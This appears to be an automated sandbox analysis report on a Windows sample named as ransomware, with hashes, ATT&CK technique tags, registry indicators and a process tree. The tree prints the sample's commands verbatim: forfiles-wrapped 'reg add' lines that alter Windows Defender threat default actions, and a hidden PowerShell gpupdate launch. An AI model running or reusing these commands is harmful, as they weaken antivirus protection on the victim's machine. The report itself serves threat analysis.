4661333bebfb27d6d26b199112c8f18198539198a30f53bf1aabc717f543684b

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05/08/2024, 07:53

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General

Target

2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe
Size

6.7MB
MD5

6e877e91ebdc0fbbced46af7bdedb9b6
SHA1

3878083686d6eba27e7d914235d8a817ec516f56
SHA256

4661333bebfb27d6d26b199112c8f18198539198a30f53bf1aabc717f543684b
SHA512

5524bd01e8dffad336ebee644b6285dc0f1476b65d3d8b368ac304d8fa056055b5988e1b83e64806009e658fd09c35bdcff3819046d091ba35e4dbfcaa34ecb7
SSDEEP

196608:r5VyxQv+JRbIeBTsWrupdujxWVckrxrujUt3lHM3:1we+JREeCWrsu4rrsUt3l

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1732	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe

Indirect Command Execution 1 TTPs 5 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
4256	forfiles.exe
564	forfiles.exe
2064	forfiles.exe
2172	forfiles.exe
2000	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2228	4820	WerFault.exe	84

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gpupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1732	powershell.exe
1732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1732	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4820 wrote to memory of 5060	4820	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe	88
PID 4820 wrote to memory of 5060	4820	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe	88
PID 4820 wrote to memory of 5060	4820	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe	88
PID 5060 wrote to memory of 2000	5060	cmd.exe	90
PID 5060 wrote to memory of 2000	5060	cmd.exe	90
PID 5060 wrote to memory of 2000	5060	cmd.exe	90
PID 2000 wrote to memory of 2016	2000	forfiles.exe	91
PID 2000 wrote to memory of 2016	2000	forfiles.exe	91
PID 2000 wrote to memory of 2016	2000	forfiles.exe	91
PID 2016 wrote to memory of 3980	2016	cmd.exe	92
PID 2016 wrote to memory of 3980	2016	cmd.exe	92
PID 2016 wrote to memory of 3980	2016	cmd.exe	92
PID 5060 wrote to memory of 4256	5060	cmd.exe	93
PID 5060 wrote to memory of 4256	5060	cmd.exe	93
PID 5060 wrote to memory of 4256	5060	cmd.exe	93
PID 4256 wrote to memory of 2012	4256	forfiles.exe	94
PID 4256 wrote to memory of 2012	4256	forfiles.exe	94
PID 4256 wrote to memory of 2012	4256	forfiles.exe	94
PID 2012 wrote to memory of 1392	2012	cmd.exe	95
PID 2012 wrote to memory of 1392	2012	cmd.exe	95
PID 2012 wrote to memory of 1392	2012	cmd.exe	95
PID 5060 wrote to memory of 564	5060	cmd.exe	96
PID 5060 wrote to memory of 564	5060	cmd.exe	96
PID 5060 wrote to memory of 564	5060	cmd.exe	96
PID 564 wrote to memory of 2632	564	forfiles.exe	97
PID 564 wrote to memory of 2632	564	forfiles.exe	97
PID 564 wrote to memory of 2632	564	forfiles.exe	97
PID 2632 wrote to memory of 464	2632	cmd.exe	98
PID 2632 wrote to memory of 464	2632	cmd.exe	98
PID 2632 wrote to memory of 464	2632	cmd.exe	98
PID 5060 wrote to memory of 2064	5060	cmd.exe	99
PID 5060 wrote to memory of 2064	5060	cmd.exe	99
PID 5060 wrote to memory of 2064	5060	cmd.exe	99
PID 2064 wrote to memory of 2904	2064	forfiles.exe	100
PID 2064 wrote to memory of 2904	2064	forfiles.exe	100
PID 2064 wrote to memory of 2904	2064	forfiles.exe	100
PID 2904 wrote to memory of 1328	2904	cmd.exe	101
PID 2904 wrote to memory of 1328	2904	cmd.exe	101
PID 2904 wrote to memory of 1328	2904	cmd.exe	101
PID 5060 wrote to memory of 2172	5060	cmd.exe	102
PID 5060 wrote to memory of 2172	5060	cmd.exe	102
PID 5060 wrote to memory of 2172	5060	cmd.exe	102
PID 2172 wrote to memory of 3984	2172	forfiles.exe	103
PID 2172 wrote to memory of 3984	2172	forfiles.exe	103
PID 2172 wrote to memory of 3984	2172	forfiles.exe	103
PID 3984 wrote to memory of 1732	3984	cmd.exe	104
PID 3984 wrote to memory of 1732	3984	cmd.exe	104
PID 3984 wrote to memory of 1732	3984	cmd.exe	104
PID 1732 wrote to memory of 4780	1732	powershell.exe	105
PID 1732 wrote to memory of 4780	1732	powershell.exe	105
PID 1732 wrote to memory of 4780	1732	powershell.exe	105

C:\Users\Admin\AppData\Local\Temp\2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2016
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3980
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4256
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2012
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1392
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:564
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2632
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:464
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2904
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1328
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3984
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1732
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4780
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 648
  2⤵
  - Program crash
  PID:2228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4820 -ip 4820
1⤵
PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5mf0chtc.jsy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1732-16-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

Filesize
120KB

Download
memory/1732-19-0x0000000006160000-0x000000000617A000-memory.dmp

Filesize
104KB

Download
memory/1732-3-0x0000000004C00000-0x0000000004C22000-memory.dmp

Filesize
136KB

Download
memory/1732-5-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/1732-1-0x0000000000F20000-0x0000000000F56000-memory.dmp

Filesize
216KB

Download
memory/1732-4-0x00000000055F0000-0x0000000005656000-memory.dmp

Filesize
408KB

Download
memory/1732-2-0x0000000004F50000-0x0000000005578000-memory.dmp

Filesize
6.2MB

Download
memory/1732-17-0x0000000006220000-0x000000000626C000-memory.dmp

Filesize
304KB

Download
memory/1732-15-0x00000000057D0000-0x0000000005B24000-memory.dmp

Filesize
3.3MB

Download
memory/1732-18-0x0000000006D30000-0x0000000006DC6000-memory.dmp

Filesize
600KB

Download
memory/1732-21-0x0000000007380000-0x0000000007924000-memory.dmp

Filesize
5.6MB

Download
memory/1732-20-0x0000000006180000-0x00000000061A2000-memory.dmp

Filesize
136KB

Download
memory/4820-0-0x0000000000DC0000-0x0000000001487000-memory.dmp

Filesize
6.8MB

Download
memory/4820-24-0x0000000010000000-0x0000000014A7D000-memory.dmp

Filesize
74.5MB

Download
memory/4820-28-0x0000000000DC0000-0x0000000001487000-memory.dmp

Filesize
6.8MB

Download